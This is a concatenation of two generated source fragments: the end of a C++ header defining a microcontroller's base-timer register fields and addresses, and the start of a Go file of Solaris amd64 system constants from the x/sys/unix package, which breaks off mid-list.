using Addr = Register::Address<0x40025288,0xffffffff,0x00000000,unsigned>;
}
namespace Bt6PpgTmcr{ ///<Timer Control Register
using Addr = Register::Address<0x4002528c,0xffff8080,0x00000000,unsigned>;
///Count clock selection bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(14,12),Register::ReadWriteAccess,unsigned> cks20{};
///Restart enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,11),Register::ReadWriteAccess,unsigned> rtgen{};
/// Pulse output mask bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(10,10),Register::ReadWriteAccess,unsigned> pmsk{};
///Trigger input edge selection bits
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,8),Register::ReadWriteAccess,unsigned> egs{};
///Timer function selection bits
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,4),Register::ReadWriteAccess,unsigned> fmd{};
///Output polarity specification bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> osel{};
///Mode selection bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> mdse{};
///Count operation enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> cten{};
///Software trigger bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> strg{};
}
namespace Bt6PpgTmcr2{ ///<Timer Control Register 2
using Addr = Register::Address<0x40025291,0xfffffffd,0x00000000,unsigned char>;
///Count clock selection bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> cks3{};
}
namespace Bt6PpgStc{ ///<Status Control Register
using Addr = Register::Address<0x40025290,0xffffffaa,0x00000000,unsigned char>;
///Trigger interrupt request enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,6),Register::ReadWriteAccess,unsigned> tgie{};
///Underflow interrupt request enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> udie{};
///Trigger interrupt request bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> tgir{};
///Underflow interrupt request bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> udir{};
}
namespace Bt6PpgPrll{ ///<LOW Width Reload Register
using Addr = Register::Address<0x40025280,0xffffffff,0x00000000,unsigned>;
}
namespace Bt6PpgPrlh{ ///<HIGH Width Reload Register
using Addr = Register::Address<0x40025284,0xffffffff,0x00000000,unsigned>;
}
namespace Bt6PpgTmr{ ///<Timer Register
using Addr = Register::Address<0x40025288,0xffffffff,0x00000000,unsigned>;
}
namespace Bt6RtTmcr{ ///<Timer Control Register
using Addr = Register::Address<0x4002528c,0xffff8c00,0x00000000,unsigned>;
///Count clock selection bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(14,12),Register::ReadWriteAccess,unsigned> cks20{};
///Trigger input edge selection bits
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,8),Register::ReadWriteAccess,unsigned> egs{};
///32-bit timer selection bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,7),Register::ReadWriteAccess,unsigned> t32{};
///Timer function selection bits
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,4),Register::ReadWriteAccess,unsigned> fmd{};
///Output polarity specification bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> osel{};
///Mode selection bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> mdse{};
///Timer enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> cten{};
///Software trigger bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> strg{};
}
namespace Bt6RtTmcr2{ ///<Timer Control Register 2
using Addr = Register::Address<0x40025291,0xfffffffe,0x00000000,unsigned char>;
///Count clock selection bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> cks3{};
}
namespace Bt6RtStc{ ///<Status Control Register
using Addr = Register::Address<0x40025290,0xffffffaa,0x00000000,unsigned char>;
///Trigger interrupt request enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,6),Register::ReadWriteAccess,unsigned> tgie{};
///Underflow interrupt request enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> udie{};
///Trigger interrupt request bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> tgir{};
///Underflow interrupt request bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> udir{};
}
namespace Bt6RtPcsr{ ///<PWM Cycle Set Register
using Addr = Register::Address<0x40025280,0xffffffff,0x00000000,unsigned>;
}
namespace Bt6RtTmr{ ///<Timer Register
using Addr = Register::Address<0x40025288,0xffffffff,0x00000000,unsigned>;
}
namespace Bt6PwcTmcr{ ///<Timer Control Register
using Addr = Register::Address<0x4002528c,0xffff8809,0x00000000,unsigned>;
///Count clock selection bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(14,12),Register::ReadWriteAccess,unsigned> cks20{};
///Measurement edge selection bits
constexpr Register::FieldLocation<Addr,Register::maskFromRange(10,8),Register::ReadWriteAccess,unsigned> egs{};
///32-bit timer selection bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,7),Register::ReadWriteAccess,unsigned> t32{};
///Timer function selection bits
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,4),Register::ReadWriteAccess,unsigned> fmd{};
///Mode selection bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> mdse{};
///Timer enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> cten{};
}
namespace Bt6PwcTmcr2{ ///<Timer Control Register 2
using Addr = Register::Address<0x40025291,0xfffffffe,0x00000000,unsigned char>;
///Count clock selection bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> cks3{};
}
namespace Bt6PwcStc{ ///<Status Control Register
using Addr = Register::Address<0x40025290,0xffffff2a,0x00000000,unsigned char>;
///Error flag bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,7),Register::Access<Register::AccessType::readOnly,Register::ReadActionType::normal,Register::ModifiedWriteValueType::normal>,unsigned> err{};
///Measurement completion interrupt request enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,6),Register::ReadWriteAccess,unsigned> edie{};
///Overflow interrupt request enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> ovie{};
///Measurement completion interrupt request bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::Access<Register::AccessType::readOnly,Register::ReadActionType::normal,Register::ModifiedWriteValueType::normal>,unsigned> edir{};
///Overflow interrupt request bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> ovir{};
}
namespace Bt6PwcDtbf{ ///<Data Buffer Register
using Addr = Register::Address<0x40025284,0xffffffff,0x00000000,unsigned>;
}
}
|
{
"pile_set_name": "Github"
}
|
// mkerrors.sh -m64
// Code generated by the command above; see README.md. DO NOT EDIT.
// +build amd64,solaris
// Code generated by cmd/cgo -godefs; DO NOT EDIT.
// cgo -godefs -- -m64 _const.go
package unix
import "syscall"
const (
AF_802 = 0x12
AF_APPLETALK = 0x10
AF_CCITT = 0xa
AF_CHAOS = 0x5
AF_DATAKIT = 0x9
AF_DECnet = 0xc
AF_DLI = 0xd
AF_ECMA = 0x8
AF_FILE = 0x1
AF_GOSIP = 0x16
AF_HYLINK = 0xf
AF_IMPLINK = 0x3
AF_INET = 0x2
AF_INET6 = 0x1a
AF_INET_OFFLOAD = 0x1e
AF_IPX = 0x17
AF_KEY = 0x1b
AF_LAT = 0xe
AF_LINK = 0x19
AF_LOCAL = 0x1
AF_MAX = 0x20
AF_NBS = 0x7
AF_NCA = 0x1c
AF_NIT = 0x11
AF_NS = 0x6
AF_OSI = 0x13
AF_OSINET = 0x15
AF_PACKET = 0x20
AF_POLICY = 0x1d
AF_PUP = 0x4
AF_ROUTE = 0x18
AF_SNA = 0xb
AF_TRILL = 0x1f
AF_UNIX = 0x1
AF_UNSPEC = 0x0
AF_X25 = 0x14
ARPHRD_ARCNET = 0x7
ARPHRD_ATM = 0x10
ARPHRD_AX25 = 0x3
ARPHRD_CHAOS = 0x5
ARPHRD_EETHER = 0x2
ARPHRD_ETHER = 0x1
ARPHRD_FC = 0x12
ARPHRD_FRAME = 0xf
ARPHRD_HDLC = 0x11
ARPHRD_IB = 0x20
ARPHRD_IEEE802 = 0x6
ARPHRD_IPATM = 0x13
ARPHRD_METRICOM = 0x17
ARPHRD_TUNNEL = 0x1f
B0 = 0x0
B110 = 0x3
B115200 = 0x12
B1200 = 0x9
B134 = 0x4
B150 = 0x5
B153600 = 0x13
B1800 = 0xa
B19200 = 0xe
B200 = 0x6
B230400 = 0x14
B2400 = 0xb
B300 = 0x7
B307200 = 0x15
B38400 = 0xf
B460800 = 0x16
B4800 = 0xc
B50 = 0x1
B57600 = 0x10
B600 = 0x8
B75 = 0x2
B76800 = 0x11
B921600 = 0x17
B9600 = 0xd
BIOCFLUSH = 0x20004268
BIOCGBLEN = 0x40044266
BIOCGDLT = 0x4004426a
BIOCGDLTLIST = -0x3fefbd89
BIOCGDLTLIST32 = -0x3ff7bd89
BIOCGETIF = 0x4020426b
BIOCGETLIF = 0x4078426b
BIOCGHDRCMPLT = 0x40044274
BIOCGRTIMEOUT = 0x4010427b
BIOCGRTIMEOUT32 = 0x4008427b
BIOCGSEESENT = 0x40044278
BIOCGSTATS = 0x4080426f
BIOCGSTATSOLD = 0x4008426f
BIOCIMMEDIATE = -0x7ffbbd90
BIOCPROMISC = 0x20004269
BIOCSBLEN = -0x3ffbbd9a
BIOCSDLT = -0x7ffbbd8a
BIOCSETF = -0x7fefbd99
BIOCSETF32 = -0x7ff7bd99
BIOCSETIF = -0x7fdfbd94
BIOCSETLIF = -0x7f87bd94
BIOCSHDRCMPLT = -0x7ffbbd8b
BIOCSRTIMEOUT = -0x7fefbd86
BIOCSRTIMEOUT32 = -0x7ff7bd86
BIOCSSEESENT = -0x7ffbbd87
BIOCSTCPF = -0x7fefbd8e
BIOCSUDPF = -0x7fefbd8d
BIOCVERSION = 0x40044271
BPF_A = 0x10
BPF_ABS = 0x20
BPF_ADD = 0x0
BPF_ALIGNMENT = 0x4
BPF_ALU = 0x4
BPF_AND = 0x50
BPF_B = 0x10
BPF_DFLTBUFSIZE = 0x100000
BPF_DIV = 0x30
BPF_H = 0x8
BPF_IMM = 0x0
BPF_IND = 0x40
BPF_JA = 0x0
BPF_JEQ = 0x10
BPF_JGE = 0x30
BPF_JGT = 0x20
BPF_JMP = 0x5
BPF_JSET = 0x40
BPF_K = 0x0
BPF_LD = 0x0
BPF_LDX = 0x1
BPF_LEN = 0x80
BPF_LSH = 0x60
BPF_MAJOR_VERSION = 0x1
BPF_MAXBUFSIZE = 0x1000000
BPF_MAXINSNS = 0x200
BPF_MEM = 0x60
BPF_MEMWORDS = 0x10
BPF_MINBUFSIZE = 0x20
BPF_MINOR_VERSION = 0x1
BPF_MISC = 0x7
BPF_MSH = 0xa0
BPF_MUL = 0x20
BPF_NEG = 0x80
BPF_OR = 0x40
BPF_RELEASE = 0x30bb6
BPF_RET = 0x6
BPF_RSH = 0x70
BPF_ST = 0x2
BPF_STX = 0x3
BPF_SUB = 0x10
BPF_TAX = 0x0
BPF_TXA = 0x80
BPF_W = 0x0
BPF_X = 0x8
BRKINT = 0x2
BS0 = 0x0
BS1 = 0x2000
BSDLY = 0x2000
CBAUD = 0xf
CFLUSH = 0xf
CIBAUD = 0xf0000
CLOCAL = 0x800
CLOCK_HIGHRES = 0x4
CLOCK_LEVEL = 0xa
CLOCK_MONOTONIC = 0x4
CLOCK_PROCESS_CPUTIME_ID = 0x5
CLOCK_PROF = 0x2
CLOCK_REALTIME = 0x3
CLOCK_THREAD_CPUTIME_ID = 0x2
CLOCK_VIRTUAL = 0x1
CR0 = 0x0
CR1 = 0x200
CR2 = 0x400
CR3 = 0x600
CRDLY = 0x600
CREAD = 0x80
CRTSCTS = 0x80000000
CS5 = 0x0
CS6 = 0x10
CS7 = 0x20
CS8 = 0x30
CSIZE = 0x30
CSTART = 0x11
CSTATUS = 0x14
CSTOP = 0x13
CSTOPB = 0x40
CSUSP = 0x1a
CSWTCH = 0x1a
DLT_AIRONET_HEADER = 0x78
DLT_APPLE_IP_OVER_IEEE1394 = 0x8a
DLT_ARCNET = 0x7
DLT_ARCNET_LINUX = 0x81
DLT_ATM_CLIP = 0x13
DLT_ATM_RFC1483 = 0xb
DLT_AURORA = 0x7e
DLT_AX25 = 0x3
DLT_BACNET_MS_TP = 0xa5
DLT_CHAOS = 0x5
DLT_CISCO_IOS = 0x76
DLT_C_HDLC = 0x68
DLT_DOCSIS = 0x8f
DLT_ECONET = 0x73
DLT_EN10MB = 0x1
DLT_EN3MB = 0x2
DLT_ENC = 0x6d
DLT_ERF_ETH = 0xaf
DLT_ERF_POS = 0xb0
DLT_FDDI = 0xa
DLT_FRELAY = 0x6b
DLT_GCOM_SERIAL = 0xad
DLT_GCOM_T1E1 = 0xac
DLT_GPF_F = 0xab
DLT_GPF_T = 0xaa
DLT_GPRS_LLC = 0xa9
DLT_HDLC = 0x10
DLT_HHDLC = 0x79
DLT_HIPPI = 0xf
DLT_IBM_SN = 0x92
DLT_IBM_SP = 0x91
DLT_IEEE802 = 0x6
DLT_IEEE802_11 = 0x69
DLT_IEEE802_11_RADIO = 0x7f
DLT_IEEE802_11_RADIO_AVS = 0xa3
DLT_IPNET = 0xe2
DLT_IPOIB = 0xa2
DLT_IP_OVER_FC = 0x7a
DLT_JUNIPER_ATM1 = 0x89
DLT_JUNIPER_ATM2 = 0x87
DLT_JUNIPER_CHDLC = 0xb5
DLT_JUNIPER_ES = 0x84
DLT_JUNIPER_ETHER = 0xb2
DLT_JUNIPER_FRELAY = 0xb4
DLT_JUNIPER_GGSN = 0x85
DLT_JUNIPER_MFR = 0x86
DLT_JUNIPER_MLFR = 0x83
DLT_JUNIPER_MLPPP = 0x82
DLT_JUNIPER_MONITOR = 0xa4
DLT_JUNIPER_PIC_PEER = 0xae
DLT_JUNIPER_PPP = 0xb3
DLT_JUNIPER_PPPOE = 0xa7
DLT_JUNIPER_PPPOE_ATM = 0xa8
DLT_JUNIPER_SERVICES = 0x88
DLT_LINUX_IRDA = 0x90
DLT_LINUX_LAPD = 0xb1
DLT_LINUX_SLL = 0x71
DLT_LOOP = 0x6c
DLT_LTALK = 0x72
DLT_MTP2 = 0x8c
DLT_MTP2_WITH_PHDR = 0x8b
DLT_MTP3 = 0x8d
DLT_NULL = 0x0
DLT_PCI_EXP = 0x7d
DLT_PFLOG = 0x75
DLT_PFSYNC = 0x12
DLT_PPP = 0x9
DLT_PPP_BSDOS = 0xe
DLT_PPP_PPPD = 0xa6
DLT_PRISM_HEADER = 0x77
DLT_PRONET = 0x4
DLT_RAW = 0xc
DLT_RAWAF_MASK = 0x2240000
DLT_RIO = 0x7c
DLT_SCCP = 0x8e
DLT_SLIP = 0x8
DLT_SLIP_BSDOS = 0xd
DLT_SUNATM = 0x7b
DLT_SYMANTEC_FIREWALL = 0x63
DLT_TZSP = 0x80
ECHO = 0x8
ECHOCTL = 0x200
ECHOE = 0x10
ECHOK = 0x20
ECHOKE = 0x800
ECHONL = 0x40
ECHOPRT = 0x400
EMPTY_SET = 0x0
EMT_CPCOVF = 0x1
EQUALITY_CHECK = 0x0
EXTA = 0xe
EXTB = 0xf
FD_CLOEXEC = 0x1
FD_NFDBITS = 0x40
FD_SETSIZE = 0x10000
FF0 = 0x0
FF1 = 0x8000
FFDLY = 0x8000
FLUSHALL = 0x1
FLUSHDATA = 0x0
FLUSHO = 0x2000
F_ALLOCSP = 0xa
F_ALLOCSP64 = 0xa
F_BADFD = 0x2e
F_BLKSIZE = 0x13
F_BLOCKS = 0x12
F_CHKFL = 0x8
F_COMPAT = 0x8
F_DUP2FD = 0x9
F_DUP2FD_CLOEXEC = 0x24
F_DUPFD = 0x0
F_DUPFD_CLOEXEC = 0x25
F_FLOCK = 0x35
F_FLOCK64 = 0x35
F_FLOCKW = 0x36
F_FLOCKW64 = 0x36
F_FREESP = 0xb
F_FREESP64 = 0xb
F_GETFD = 0x1
F_GETFL = 0x3
F_GETLK = 0xe
F_GETLK64 = 0xe
F_GETOWN = 0x17
F_GETXFL = 0x2d
F_HASREMOTELOCKS = 0x1a
F_ISSTREAM = 0xd
F_MANDDNY = 0x10
F_MDACC = 0x20
F_NODNY = 0x0
F_NPRIV = 0x10
F_OFD_GETLK = 0x2f
F_OFD_GETLK64 = 0x2f
F_OFD_SETLK = 0x30
F_OFD_SETLK64 = 0x30
F_OFD_SETLKW = 0x31
F_OFD_SETLKW64 = 0x31
F_PRIV = 0xf
F_QUOTACTL = 0x11
F_RDACC = 0x1
F_RDDNY = 0x1
F_RDLCK = 0x1
F_REVOKE = 0x19
F_RMACC = 0x4
F_RMDNY = 0x4
F_RWACC = 0x3
F_RWDNY = 0x3
F_SETFD = 0x2
F_SETFL = 0x4
F_SETLK = 0x6
F_SETLK64 = 0x6
F_SETLK64_NBMAND = 0x2a
F_SETLKW = 0x7
F_SETLKW64 = 0x7
F_SETLK_NBMAND = 0x2a
F_SETOWN = 0x18
F_SHARE = 0x28
F_SHARE_NBMAND = 0x2b
F_UNLCK = 0x3
F_UNLKSYS = 0x4
F_UNSHARE = 0x29
F_WRACC = 0x2
F_WRDNY = 0x2
F_WRLCK = 0x2
HUPCL = 0x400
IBSHIFT = 0x10
ICANON = 0x2
ICRNL = 0x100
IEXTEN = 0x8000
IFF_ADDRCONF = 0x80000
IFF_ALLMULTI = 0x200
IFF_ANYCAST = 0x400000
IFF_BROADCAST = 0x2
IFF_CANTCHANGE = 0x7f203003b5a
IFF_COS_ENABLED = 0x200000000
IFF_DEBUG = 0x4
IFF_DEPRECATED = 0x40000
IFF_DHCPRUNNING = 0x4000
IFF_DUPLICATE = 0x4000000000
IFF_FAILED = 0x10000000
IFF_FIXEDMTU = 0x1000000000
IFF_INACTIVE = 0x40000000
IFF_INTELLIGENT = 0x400
IFF_IPMP = 0x8000000000
IFF_IPMP_CANTCHANGE = 0x10000000
IFF_IPMP_INVALID = 0x1ec200080
IFF_IPV4 = 0x1000000
IFF_IPV6 = 0x2000000
IFF_L3PROTECT = 0x40000000000
IFF_LOOPBACK = 0x8
IFF_MULTICAST = 0x800
IFF_MULTI_BCAST = 0x1000
IFF_NOACCEPT = 0x4000000
IFF_NOARP = 0x80
IFF_NOFAILOVER = 0x8000000
IFF_NOLINKLOCAL = 0x20000000000
IFF_NOLOCAL = 0x20000
IFF_NONUD = 0x200000
IFF_NORTEXCH = 0x800000
IFF_NOTRAILERS = 0x20
IFF_NOXMIT = 0x10000
IFF_OFFLINE = 0x80000000
IFF_POINTOPOINT = 0x10
IFF_PREFERRED = 0x400000000
IFF_PRIVATE = 0x8000
IFF_PROMISC = 0x100
IFF_ROUTER = 0x100000
IFF_RUNNING = 0x40
IFF_STANDBY = 0x20000000
IFF_TEMPORARY = 0x800000000
IFF_UNNUMBERED = 0x2000
IFF_UP = 0x1
IFF_VIRTUAL = 0x2000000000
IFF_VRRP = 0x10000000000
IFF_XRESOLV = 0x100000000
IFNAMSIZ = 0x10
IFT_1822 = 0x2
IFT_6TO4 = 0xca
IFT_AAL5 = 0x31
IFT_ARCNET = 0x23
IFT_ARCNETPLUS = 0x24
IFT_ATM = 0x25
IFT_CEPT = 0x13
IFT_DS3 = 0x1e
IFT_EON = 0x19
IFT_ETHER = 0x6
IFT_FDDI = 0xf
IFT_FRELAY = 0x20
IFT_FRELAYDCE = 0x2c
IFT_HDH1822 = 0x3
IFT_HIPPI = 0x2f
IFT_HSSI = 0x2e
IFT_HY = 0xe
IFT_IB = 0xc7
IFT_IPV4 = 0xc8
IFT_IPV6 = 0xc9
IFT_ISDNBASIC = 0x14
IFT_ISDNPRIMARY = 0x15
IFT_ISO88022LLC = 0x29
IFT_ISO88023 = 0x7
IFT_ISO88024 = 0x8
IFT_ISO88025 = 0x9
IFT_ISO88026 = 0xa
IFT_LAPB = 0x10
IFT_LOCALTALK = 0x2a
IFT_LOOP = 0x18
IFT_MIOX25 = 0x26
IFT_MODEM = 0x30
IFT_NSIP = 0x1b
IFT_OTHER = 0x1
IFT_P10 = 0xc
IFT_P80 = 0xd
IFT_PARA = 0x22
IFT_PPP = 0x17
IFT_PROPMUX = 0x36
IFT_PROPVIRTUAL = 0x35
IFT_PTPSERIAL = 0x16
IFT_RS232 = 0x21
IFT_SDLC = 0x11
IFT_SIP = 0x1f
IFT_SLIP = 0x1c
IFT_SMDSDXI = 0x2b
IFT_SMDSICIP = 0x34
IFT_SONET = 0x27
IFT_SONETPATH = 0x32
IFT_SONETVT = 0x33
IFT_STARLAN = 0xb
IFT_T1 = 0x12
IFT_ULTRA = 0x1d
IFT_V35 = 0x2d
IFT_X25 = 0x5
IFT_X25DDN = 0x4
IFT_X25PLE = 0x28
IFT_XETHER = 0x1a
IGNBRK = 0x1
IGNCR = 0x80
IGNPAR = 0x4
IMAXBEL = 0x2000
INLCR = 0x40
INPCK = 0x10
IN_AUTOCONF_MASK = 0xffff0000
IN_AUTOCONF_NET = 0xa9fe0000
IN_CLASSA_HOST = 0xffffff
IN_CLASSA_MAX = 0x80
IN_CLASSA_NET = 0xff000000
IN_CLASSA_NSHIFT = 0x18
IN_CLASSB_HOST = 0xffff
IN_CLASSB_MAX = 0x10000
IN_CLASSB_NET = 0xffff0000
IN_CLASSB_NSHIFT = 0x10
IN_CLASSC_HOST = 0xff
IN_CLASSC_NET = 0xffffff00
IN_CLASSC_NSHIFT = 0x8
IN_CLASSD_HOST = 0xfffffff
IN_CLASSD_NET = 0xf0000000
IN_CLASSD_NSHIFT = 0x1c
IN_CLASSE_NET = 0xffffffff
IN_LOOPBACKNET = 0x7f
IN_PRIVATE12_MASK = 0xfff00000
IN_PRIVATE12_NET = 0xac100000
IN_PRIVATE16_MASK = 0xffff0000
IN_PRIVATE16_NET = 0xc0a80000
IN_PRIVATE8_MASK = 0xff000000
IN_PRIVATE8_NET = 0xa000000
IPPROTO_AH = 0x33
IPPROTO_DSTOPTS = 0x3c
IPPROTO_EGP = 0x8
IPPROTO_ENCAP = 0x4
IPPROTO_EON = 0x50
IPPROTO_ESP = 0x32
IPPROTO_FRAGMENT = 0x2c
IPPROTO_GGP = 0x3
IPPROTO_HELLO = 0x3f
IPPROTO_HOPOPTS = 0x0
IPPROTO_ICMP = 0x1
IPPROTO_ICMPV6 = 0x3a
IPPROTO_IDP = 0x16
IPPROTO_IGMP = 0x2
IPPROTO_IP = 0x0
IPPROTO_IPV6 = 0x29
IPPROTO_MAX = 0x100
IPPROTO_ND = 0x4d
IPPROTO_NONE = 0x3b
IPPROTO_OSPF = 0x59
IPPROTO_PIM = 0x67
IPPROTO_PUP = 0xc
IPPROTO_RAW = 0xff
IPPROTO_ROUTING = 0x2b
IPPROTO_RSVP = 0x2e
IPPROTO_SCTP = 0x84
IPPROTO_TCP = 0x6
IPPROTO_UDP = 0x11
IPV6_ADD_MEMBERSHIP = 0x9
IPV6_BOUND_IF = 0x41
IPV6_CHECKSUM = 0x18
IPV6_DONTFRAG = 0x21
IPV6_DROP_MEMBERSHIP = 0xa
IPV6_DSTOPTS = 0xf
IPV6_FLOWINFO_FLOWLABEL = 0xffff0f00
IPV6_FLOWINFO_TCLASS = 0xf00f
IPV6_HOPLIMIT = 0xc
IPV6_HOPOPTS = 0xe
IPV6_JOIN_GROUP = 0x9
IPV6_LEAVE_GROUP = 0xa
IPV6_MULTICAST_HOPS = 0x7
IPV6_MULTICAST_IF = 0x6
IPV6_MULTICAST_LOOP = 0x8
IPV6_NEXTHOP = 0xd
IPV6_PAD1_OPT = 0x0
IPV6_PATHMTU = 0x25
IPV6_PKTINFO = 0xb
IPV6_PREFER_SRC_CGA = 0x20
IPV6_PREFER_SRC_CGADEFAULT = 0x10
IPV6_PREFER_SRC_CGAMASK = 0x30
IPV6_PREFER_SRC_COA = 0x2
IPV6_PREFER_SRC_DEFAULT = 0x15
IPV6_PREFER_SRC_HOME = 0x1
IPV6_PREFER_SRC_MASK = 0x3f
IPV6_PREFER_SRC_MIPDEFAULT = 0x1
IPV6_PREFER_SRC_MIPMASK = 0x3
IPV6_PREFER_SRC_NONCGA = 0x10
IPV6_PREFER_SRC_PUBLIC = 0x4
IPV6_PREFER_SRC_TMP = 0x8
IPV6_PREFER_SRC_TMPDEFAULT = 0x4
IPV6_PREFER_SRC_TMPMASK = 0xc
IPV6_RECVDSTOPTS = 0x28
IPV6_RECVHOPLIMIT = 0x13
IPV6_RECVHOPOPTS = 0x14
IPV6_RECVPATHMTU = 0x24
IPV6_RECVPKTINFO = 0x12
IPV6_RECVRTHDR = 0x16
IPV6_RECVRTHDRDSTOPTS = 0x17
IPV6_RECVTCLASS = 0x19
IPV6_RTHDR = 0x10
IPV6_RTHDRDSTOPTS = 0x11
IPV6_RTHDR_TYPE_0 = 0x0
IPV6_SEC_OPT = 0x22
IPV6_SRC_PREFERENCES = 0x23
IPV6_TCLASS = 0x26
IPV6_UNICAST_HOPS = 0x5
IPV6_UNSPEC_SRC = 0x42
IPV6_USE_MIN_MTU = 0x20
IPV6_V6ONLY = 0x27
IP_ADD_MEMBERSHIP = 0x13
IP_ADD_SOURCE_MEMBERSHIP = 0x17
IP_BLOCK_SOURCE = 0x15
IP_BOUND_IF = 0x41
IP_BROADCAST = 0x106
IP_BROADCAST_TTL = 0x43
IP_DEFAULT_MULTICAST_LOOP = 0x1
IP_DEFAULT_MULTICAST_TTL = 0x1
IP_DF = 0x4000
IP_DHCPINIT_IF = 0x45
IP_DONTFRAG = 0x1b
IP_DONTROUTE = 0x105
IP_DROP_MEMBERSHIP = 0x14
IP_DROP_SOURCE_MEMBERSHIP = 0x18
IP_HDRINCL = 0x2
IP_MAXPACKET = 0xffff
IP_MF = 0x2000
IP_MSS = 0x240
IP_MULTICAST_IF = 0x10
IP_MULTICAST_LOOP = 0x12
IP_MULTICAST_TTL = 0x11
IP_NEXTHOP = 0x19
IP_OPTIONS = 0x1
IP_PKTINFO = 0x1a
IP_RECVDSTADDR = 0x7
IP_RECVIF = 0x9
IP_RECVOPTS = 0x5
IP_RECVPKTINFO = 0x1a
IP_RECVRETOPTS = 0x6
IP_RECVSLLA = 0xa
IP_RECVTTL = 0xb
IP_RETOPTS = 0x8
IP_REUSEADDR = 0x104
IP_SEC_OPT = 0x22
IP_TOS = 0x3
IP_TTL = 0x4
IP_UNBLOCK_SOURCE = 0x16
IP_UNSPEC_SRC = 0x42
ISIG = 0x1
ISTRIP = 0x20
IUCLC = 0x200
IXANY = 0x800
IXOFF = 0x1000
IXON = 0x400
LOCK_EX = 0x2
LOCK_NB = 0x4
LOCK_SH = 0x1
LOCK_UN = 0x8
MADV_ACCESS_DEFAULT = 0x6
MADV_ACCESS_LWP = 0x7
MADV_ACCESS_MANY = 0x8
MADV_DONTNEED = 0x4
MADV_FREE = 0x5
MADV_NORMAL = 0x0
MADV_PURGE = 0x9
MADV_RANDOM = 0x1
MADV_SEQUENTIAL = 0x2
MADV_WILLNEED = 0x3
MAP_32BIT = 0x80
MAP_ALIGN = 0x200
MAP_ANON = 0x100
MAP_ANONYMOUS = 0x100
MAP_FILE = 0x0
MAP_FIXED = 0x10
MAP_INITDATA = 0x800
MAP_NORESERVE = 0x40
MAP_PRIVATE = 0x2
MAP_RENAME = 0x20
MAP_SHARED = 0x1
MAP_TEXT = 0x400
MAP_TYPE = 0xf
MCL_CURRENT = 0x1
MCL_FUTURE = 0x2
MSG_CTRUNC = 0x10
MSG_DONTROUTE = 0x4
MSG_DONTWAIT = 0x80
MSG_DUPCTRL = 0x800
MSG_EOR = 0x8
MSG_MAXIOVLEN = 0x10
MSG_NOTIFICATION = 0x100
MSG_OOB = 0x1
MSG_PEEK = 0x2
MSG_TRUNC = 0x20
MSG_WAITALL = 0x40
MSG_XPG4_2 = 0x8000
MS_ASYNC = 0x1
MS_INVALIDATE = 0x2
MS_OLDSYNC = 0x0
MS_SYNC = 0x4
M_FLUSH = 0x86
NAME_MAX = 0xff
NEWDEV = 0x1
NFDBITS = 0x40
NL0 = 0x0
NL1 = 0x100
NLDLY = 0x100
NOFLSH = 0x80
OCRNL = 0x8
OFDEL = 0x80
OFILL = 0x40
OLCUC = 0x2
OLDDEV = 0x0
ONBITSMAJOR = 0x7
ONBITSMINOR = 0x8
ONLCR = 0x4
ONLRET = 0x20
ONOCR = 0x10
OPENFAIL = -0x1
OPOST = 0x1
O_ACCMODE = 0x600003
O_APPEND = 0x8
O_CLOEXEC = 0x800000
O_CREAT = 0x100
O_DSYNC = 0x40
O_EXCL = 0x400
O_EXEC = 0x400000
O_LARGEFILE = 0x2000
O_NDELAY = 0x4
O_NOCTTY = 0x800
O_NOFOLLOW = 0x20000
O_NOLINKS = 0x40000
O_NONBLOCK = 0x80
O_RDONLY = 0x0
O_RDWR = 0x2
O_RSYNC = 0x8000
O_SEARCH = 0x200000
O_SIOCGIFCONF = -0x3ff796ec
O_SIOCGLIFCONF = -0x3fef9688
O_SYNC = 0x10
O_TRUNC = 0x200
